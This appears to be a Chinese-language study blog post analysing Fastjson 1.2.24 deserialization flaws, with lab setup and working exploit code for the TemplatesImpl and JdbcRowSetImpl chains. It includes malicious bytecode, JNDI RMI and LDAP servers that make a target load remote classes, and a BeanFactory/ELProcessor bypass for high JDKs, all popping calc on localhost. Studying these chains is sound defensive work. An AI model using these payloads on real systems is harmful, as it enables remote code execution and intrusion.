本文最后更新于 2026-06-26T14:52:40+08:00
环境搭建
- JDK 就和之前一样用的 jdk-8u65
- Fastjson 用的 1.2.24(1.2.22 <= Fastjson <= 1.2.24)
- Maven的话应该无所谓
然后是依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.9</version> </dependency> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.5</version> </dependency> <dependency> <groupId>commons-codec</groupId> <artifactId>commons-codec</artifactId> <version>1.12</version> </dependency> </dependencies>
|
有俩条链子:
- 第一个是基于 TemplatesImpl 的链子
- 第二个是基于 JdbcRowSetImpl 的链子
基于 TemplatesImpl 的利用链
链子分析
选取可以执行命令的类
回顾一下 Fastjson 漏洞
Fastjson 漏洞的 POC 就是一个含有恶意代码的 json 格式的字符串,开头要有@type
可以直接进行赋值,不需要通过反射赋值
@type是要进行反序列化的类,会获取到这个类的构造函数、setter、getter 方法
所以要找到一个反序列化类的构造函数、setter、getter 方法存在漏洞问题
所以想到之前在学习 CC 链的时候,从 CC3 链开始使用 TemplatesImpl 类加载字节码
CC3 链笔记:https://yschen20.github.io/2026/01/28/CC3%E9%93%BE/

CC3 链的漏洞点就是在getTransletInstance._class[_transletIndex].newInstance()这里
而getTransletInstance()就是一个 getter 方法
所以 TemplatesImpl 类就可以满足 Fastjson 漏洞利用的条件
分析TemplatesImpl里面的参数
找到了适合利用的类是 TemplatesImpl,接下来先去分析一下 TemplatesImpl 这个类的参数

_name不能为null,这个可以随便赋值
_class要为null,然后就可以进入到defineTransletClasses()方法中,所以_class可以不用写,或者直接写null
还有一个就是_tfactory也不能为null,原因可以看一下 CC3 链的笔记

不过可以不用特意给_tfactory赋值,直接在 JSON 字符串中写成:
这样写的话在反序列化的时候 Fastjson 会自动将其当作一个 JSONObject,也就不为null了,并且也不会需要其他不必要多余的依赖
还有一个就是_bytecodes需要写,这是恶意字节码
写个Calc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package classpoc;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }
|
然后编译一下
并且要base64编码一下

所以构造的EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature;
import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64;
public class TemplatesImplPOC { public static void main(String[] args) throws Exception{ final String unserializeClassName = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; final String _name = "Suzen"; final String _bytecodes = Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get("src/main/java/classpoc/Calc.class")));
String payload = "{\"@type\":" + "\"" + unserializeClassName + "\"," + "\"_name\":" + "\"" + _name + "\"," + "\"_bytecodes\":" + "[\"" + _bytecodes + "\"]," + "\"_tfactory\":{}}";
Object obj = JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); } }
|
但是运行后没反应,也没报错

原因就是和_outputProperties这个变量有关,因为 Fastjson 虽然在反序列化的时候会自动去找所有的 getter 方法,但是是有条件的:

而这里要调用的getTransletInstance()方法是不满足返回值类型继承那些类的,它返回的是一个抽象类 AbstractTranslet,在这个方法的开头下断点会发现是不会调用到这个方法的

解决无法调用getTransletInstance()方法的问题
要想解决这个问题,就要找到一个 getter 或者 setter 方法,可以调用到getTransletInstance()方法
先去找是谁调用了getTransletInstance()方法,是在TemplatesImpl.newTransformer()中

但是这个方法不是 getter 或 setter 方法,不能利用,还要继续往上找,可以找到TemplatesImpl.getOutputProperties()方法,这个之前学CC链的时候也见到过,这个是一个 getter 方法

并且返回值是 Properties 类型,是继承 Map 方法的,满足所有的条件



方法找到了,然后看参数,getOutputProperties()方法会调用到newTransformer()方法,在newTransformer()方法中需要_outputProperties这个参数

修改一下EXP,加上_outputProperties这个参数,先和_tfactory一样用{}
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature;
import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64;
public class TemplatesImplPOC { public static void main(String[] args) throws Exception{ final String unserializeClassName = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; final String _name = "Suzen"; final String _bytecodes = Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get("src/main/java/classpoc/Calc.class")));
String payload = "{\"@type\":" + "\"" + unserializeClassName + "\"," + "\"_name\":" + "\"" + _name + "\"," + "\"_bytecodes\":" + "[\"" + _bytecodes + "\"]," + "\"_tfactory\":{}," + "\"_outputProperties\":{}}";
Object obj = JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); } }
|
运行后成功弹出计算器了

基于JdbcRowSetImpl的利用链
基于 JdbcRowSetImpl 的利用链有两种:
JNDI + RMI
JdbcRowSetImpl 这个链子是 JNDI 的 Reference 的利用方式
在 JdbcRowSetImpl 类中有个setDataSourceName()方法,顾名思义,是一个设置数据源的方法

EXP:
1 2 3 4
| { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/remoteObj", "autoCommit":true }
|
服务端就用之前学习 JNDI 时候的,这里的 Calc 是放到了 classpoc 包里的,所以传给 Reference 的参数也改了一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import javax.naming.InitialContext; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIRMIServer { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("classpoc.Calc","classpoc.Calc","http://localhost:7777/"); initialContext.rebind("rmi://localhost:1099/remoteObj", reference); } }
|
攻击EXP:
1 2 3 4 5 6 7 8 9
| import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplExp { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":true}"; JSON.parse(payload); } }
|
恶意类 Calc 目录下起 HTTP 服务
1
| python -m http.server 7777
|
然后就是依次运行服务端和 EXP 了

JNDI + LDAP
原理也是一样的
服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
public class JNDILDAPServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:7777/#Calc"; int port = 1234; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
EXP:
1 2 3 4 5 6 7 8
| import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplLdapExp { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1234/Exploit\", \"autoCommit\":true}"; JSON.parse(payload); } }
|

Fastjson攻击中JDK高版本的绕过
要加个依赖
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.63</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper-el</artifactId> <version>8.5.63</version> </dependency>
|
服务端直接用之前 JNDI 的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import org.apache.naming.ResourceRef;
import javax.naming.InitialContext; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIBypassHighJavaServerEL { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef( "javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null ); resourceRef.add(new StringRefAddr("forceString","x=eval")); resourceRef.add(new StringRefAddr("x","\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef); } }
|
EXP 不变
1 2 3 4 5 6 7 8 9
| import com.alibaba.fastjson.JSON;
public class HighJdkBypass { public static void main(String[] args) { String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":true}"; JSON.parse(json); } }
|

参考学习文章
Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析